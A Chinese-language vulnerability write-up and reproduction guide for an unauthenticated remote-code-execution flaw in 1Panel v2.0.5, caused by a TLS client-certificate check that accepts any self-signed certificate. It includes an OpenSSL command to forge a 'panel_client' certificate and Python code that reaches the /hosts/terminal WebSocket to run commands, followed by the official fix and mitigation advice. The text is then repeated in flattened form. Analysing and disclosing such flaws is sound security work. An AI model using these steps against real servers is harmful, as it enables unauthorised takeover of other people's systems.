1Panel未授权RCE漏洞分析
字数 1128 2025-09-01 11:26:02

1Panel未授权RCE漏洞分析与复现指南

漏洞概述

1Panel是一款开源的Linux服务器运维管理面板,在v2.0.5版本中存在一个严重的未授权远程代码执行(RCE)漏洞。该漏洞源于TLS客户端证书验证机制存在缺陷,攻击者可以通过伪造客户端证书绕过认证,进而执行任意命令。

影响版本

  • 1Panel v2.0.5及之前版本

漏洞原理

TLS认证机制缺陷

漏洞的核心在于1Panel的TLS认证策略配置不当:

ClientAuth: tls.RequireAnyClientCert

这个策略仅要求客户端提供证书,但不验证证书的可信性。因此任何格式正确的自签名证书都能通过TLS握手。

二次验证绕过

虽然系统会检查客户端证书的CommonName(CN)字段是否为"panel_client",但由于不验证证书合法性,攻击者可以:

  1. 生成自签名证书
  2. 设置CN=panel_client
  3. 绕过认证

环境搭建

安装1Panel v2.0.5

  1. 下载安装包:
bash -c "$(curl -sSL https://resource.fit2cloud.com/1panel/package/v2/quick_start.sh)"
  1. 如需指定版本,可下载特定版本安装包后手动安装

漏洞复现步骤

1. 生成伪造证书

使用OpenSSL生成自签名证书,设置CN=panel_client:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=panel_client"

或使用Python脚本自动化生成。

2. 验证证书有效性

发送带有伪造证书的HTTP请求验证是否绕过认证:

import requests

cert = ('cert.pem', 'key.pem')
response = requests.get('https://target:port/api/endpoint', cert=cert, verify=False)

3. 建立WebSocket TLS连接

成功绕过认证后,建立WebSocket TLS连接:

import websockets

async def exploit():
    ssl_context = ssl.create_default_context()
    ssl_context.load_cert_chain('cert.pem', 'key.pem')
    async with websockets.connect('wss://target:port/hosts/terminal', ssl=ssl_context) as websocket:
        # 执行命令
        await websocket.send('{"type":"cmd","command":"whoami"}')
        result = await websocket.recv()
        print(result)

4. 执行任意命令

通过以下接口执行命令:

  1. 进程信息获取接口

    • 路由地址: /process/ws
    • 请求格式: WebSocket消息
  2. 终端命令执行接口(主要RCE利用点):

    • 路由地址: /hosts/terminal
    • 请求格式:
      {
        "type": "cmd",
        "command": "要执行的命令"
      }
      

漏洞分析

路由鉴权机制

  1. 路由文件定义了不同功能对应的端点
  2. 访问路由需要加上前缀
  3. 验证使用middleware.Certificate()中间件

TLS验证实现

具体实现在agent/server/server.go中:

  1. 使用tls.RequireAnyClientCert策略
  2. 仅检查证书CN是否为"panel_client"
  3. 不验证证书合法性

漏洞修复

官方修复方案:

  1. 修改TLS认证策略为:
    ClientAuth: tls.RequireAndVerifyClientCert
    
  2. 要求客户端提供证书并验证合法性
  3. 只接受服务端签发的证书

修复提交:
https://github.com/1Panel-dev/1Panel/pull/9698/commits/4003284521f8d31ddaf7215d1c30ab8b4cdb0261

安全建议

  1. 立即升级到最新版本
  2. 如无法立即升级,限制面板管理端口访问
  3. 监控异常证书验证请求

免责声明

本文档仅供安全研究和学习使用。任何因传播、利用本文档信息而产生的直接或间接后果或损害,均由使用者自行承担。

1Panel未授权RCE漏洞分析与复现指南 漏洞概述 1Panel是一款开源的Linux服务器运维管理面板,在v2.0.5版本中存在一个严重的未授权远程代码执行(RCE)漏洞。该漏洞源于TLS客户端证书验证机制存在缺陷,攻击者可以通过伪造客户端证书绕过认证,进而执行任意命令。 影响版本 1Panel v2.0.5及之前版本 漏洞原理 TLS认证机制缺陷 漏洞的核心在于1Panel的TLS认证策略配置不当: 这个策略仅要求客户端提供证书,但不验证证书的可信性。因此任何格式正确的自签名证书都能通过TLS握手。 二次验证绕过 虽然系统会检查客户端证书的CommonName(CN)字段是否为"panel_ client",但由于不验证证书合法性,攻击者可以: 生成自签名证书 设置CN=panel_ client 绕过认证 环境搭建 安装1Panel v2.0.5 下载安装包: 如需指定版本,可下载特定版本安装包后手动安装 漏洞复现步骤 1. 生成伪造证书 使用OpenSSL生成自签名证书,设置CN=panel_ client: 或使用Python脚本自动化生成。 2. 验证证书有效性 发送带有伪造证书的HTTP请求验证是否绕过认证: 3. 建立WebSocket TLS连接 成功绕过认证后,建立WebSocket TLS连接: 4. 执行任意命令 通过以下接口执行命令: 进程信息获取接口 : 路由地址: /process/ws 请求格式: WebSocket消息 终端命令执行接口 (主要RCE利用点): 路由地址: /hosts/terminal 请求格式: 漏洞分析 路由鉴权机制 路由文件定义了不同功能对应的端点 访问路由需要加上前缀 验证使用 middleware.Certificate() 中间件 TLS验证实现 具体实现在 agent/server/server.go 中: 使用 tls.RequireAnyClientCert 策略 仅检查证书CN是否为"panel_ client" 不验证证书合法性 漏洞修复 官方修复方案: 修改TLS认证策略为: 要求客户端提供证书并验证合法性 只接受服务端签发的证书 修复提交: https://github.com/1Panel-dev/1Panel/pull/9698/commits/4003284521f8d31ddaf7215d1c30ab8b4cdb0261 安全建议 立即升级到最新版本 如无法立即升级,限制面板管理端口访问 监控异常证书验证请求 免责声明 本文档仅供安全研究和学习使用。任何因传播、利用本文档信息而产生的直接或间接后果或损害,均由使用者自行承担。